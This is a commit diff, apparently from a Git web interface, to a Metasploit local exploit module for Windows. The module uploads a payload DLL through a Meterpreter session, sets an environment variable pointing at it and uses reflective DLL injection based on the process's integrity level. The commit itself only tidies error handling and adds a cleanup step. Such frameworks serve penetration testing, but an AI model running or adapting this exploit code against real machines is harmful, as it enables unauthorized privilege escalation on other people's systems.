This works
parent
7ed6b3117a
commit
53e6f42d99
|
@ -9,6 +9,7 @@ require 'msf/core/post/windows/reflective_dll_injection'
|
||||||
class Metasploit3 < Msf::Exploit::Local
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
Rank = NormalRanking
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Exploit::EXE
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Priv
|
include Msf::Post::Windows::Priv
|
||||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||||
|
@ -72,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
write_file(payload_filepath, payload)
|
write_file(payload_filepath, payload)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
fail_with(
|
fail_with(
|
||||||
Exploit::Exception::Unknown,
|
Failure::Unknown,
|
||||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
@ -80,9 +81,6 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def set_filepath_env(payload_filepath)
|
def set_filepath_env(payload_filepath)
|
||||||
session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", payload_filepath)
|
session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", payload_filepath)
|
||||||
if get_env("PAYLOAD_PATH") != payload_filepath
|
|
||||||
fail_with(Exploit::Exception::Unknown, "Failed to set environment variable PAYLOAD_PATH")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_payload
|
def upload_payload
|
||||||
|
@ -94,14 +92,15 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
# Upload the payload
|
# Upload the payload
|
||||||
upload_payload_dll(payload_filepath)
|
upload_payload_dll(payload_filepath)
|
||||||
if !file?(payload_filepath)
|
if !file?(payload_filepath)
|
||||||
fail_with(Exploit::Exception::Unknown, "Failed to save the payload DLL due to an unknown reason")
|
fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_integrity_info
|
def get_integrity_info
|
||||||
integrity = get_integrity_level
|
integrity = get_integrity_level
|
||||||
case integrity
|
|
||||||
when :low
|
case integrity
|
||||||
|
when :low
|
||||||
level = 0
|
level = 0
|
||||||
when :medium
|
when :medium
|
||||||
level = 1
|
level = 1
|
||||||
|
@ -109,6 +108,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
level = 2
|
level = 2
|
||||||
when :system
|
when :system
|
||||||
level = 3
|
level = 3
|
||||||
|
else
|
||||||
|
level = -1
|
||||||
end
|
end
|
||||||
|
|
||||||
{
|
{
|
||||||
|
@ -147,4 +148,9 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
upload_exploit
|
upload_exploit
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", nil)
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue